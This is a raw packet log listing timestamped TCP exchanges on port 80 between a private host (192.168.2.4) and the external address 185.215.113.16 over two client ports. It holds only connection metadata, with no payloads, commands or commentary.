Oct 31, 2024 20:52:46.207484961 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.207484961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207506895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207509041 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.207519054 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207530022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207540989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207541943 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.207552910 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.207770109 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.207771063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207824945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207835913 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207882881 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.207931995 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207943916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207962036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207972050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207983971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207994938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207998037 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208007097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208024025 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208034992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208034992 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208045006 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208098888 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208246946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208298922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208309889 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208354950 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208408117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208420038 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208508968 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208601952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208612919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208623886 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208636999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208658934 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208677053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208687067 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208698034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208704948 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208728075 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208755970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208767891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208777905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208784103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.208790064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.208800077 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.209240913 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.209252119 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.209263086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.209270000 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.209275007 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.209302902 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.209517002 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.209528923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.209549904 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.210529089 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.261784077 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.261801004 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.261814117 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.261873960 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.261885881 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.261898041 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.261909962 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.261919022 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.261991978 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.262048960 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262320042 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262371063 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262382030 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262382030 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.262420893 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.262442112 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262542009 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262590885 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.262856007 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262897968 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262909889 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262954950 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262967110 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262978077 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.262984991 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.263024092 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.263024092 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.263027906 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.263039112 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.263163090 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.263824940 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.263884068 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.263896942 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.263936996 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.263947010 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.263958931 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.263993979 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.263997078 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.264004946 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.264019966 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.264058113 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.264800072 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.264836073 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.264847040 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.264914036 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.264925003 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.264935970 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.264940023 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.264947891 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.264971972 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.265058041 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.265695095 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.265706062 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.265722036 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.265733957 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.265744925 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.265750885 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.265757084 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.265768051 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.265779972 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.265780926 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.265798092 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.265923023 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.265948057 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.267003059 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.267052889 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.267067909 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.267149925 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.366420031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366492033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366502047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366549969 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.366592884 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366602898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366611958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366625071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366633892 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.366638899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366646051 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.366780043 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366790056 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366800070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366800070 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.366811991 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366821051 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.366880894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366892099 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366902113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.366905928 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.367010117 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367021084 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367032051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367032051 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.367082119 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.367082119 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.367104053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367157936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367167950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367219925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367229939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367239952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367245913 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.367252111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367276907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.367276907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.367306948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367321968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367335081 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367639065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367649078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367659092 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.367660046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367707014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367717981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367731094 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.367944956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367955923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.367969036 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368046999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368057966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368067026 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368071079 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368081093 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368088961 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368096113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368103027 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368105888 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368295908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368316889 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368330956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368446112 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368457079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368469000 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368472099 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368482113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368490934 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368494987 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368506908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368514061 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368530989 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368554115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368570089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368581057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368592024 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368643999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368652105 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368655920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368669033 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368680954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368690014 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368726015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368737936 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368747950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.368750095 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.368772030 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.369287968 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369302988 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369314909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369328022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369339943 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369352102 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.369357109 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369385004 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.369401932 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369456053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369467020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369477034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369627953 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369638920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369649887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369652033 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.369662046 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369673014 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369684935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369687080 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.369697094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.369704008 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.369704962 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.369709015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370287895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370300055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370311022 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370317936 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.370357037 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.370357037 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.370366096 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370378017 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370388985 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370399952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370410919 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.370542049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370553970 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370565891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370568037 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.370578051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370587111 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.370590925 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370604038 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370615005 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370625973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370626926 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.370636940 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.370639086 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370660067 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.370681047 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.370693922 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.371087074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.371120930 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.371663094 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.429816961 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429843903 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429853916 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429866076 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429876089 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429888010 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429897070 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.429908037 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429919958 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429927111 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.429932117 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429939032 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.429944038 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429955959 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429965019 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429965973 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.429976940 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429995060 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.429996967 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430006981 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430016994 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430027962 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430041075 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430057049 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430077076 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430083036 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430108070 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430146933 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430176973 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430187941 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430221081 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430294037 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430305958 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430340052 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430510998 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430530071 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430541039 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430562973 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430587053 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430598021 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430608034 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430619001 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430619955 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430636883 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430687904 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430700064 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430742979 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430751085 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430763960 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430774927 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430784941 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430785894 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430799007 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430813074 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430845022 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430861950 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430872917 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430892944 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.430947065 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430957079 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430968046 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430979013 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430989981 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.430994034 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.431011915 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.431081057 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.431092024 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.431103945 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.431109905 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.431121111 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.431129932 CET	49784	80	192.168.2.4	185.215.113.16
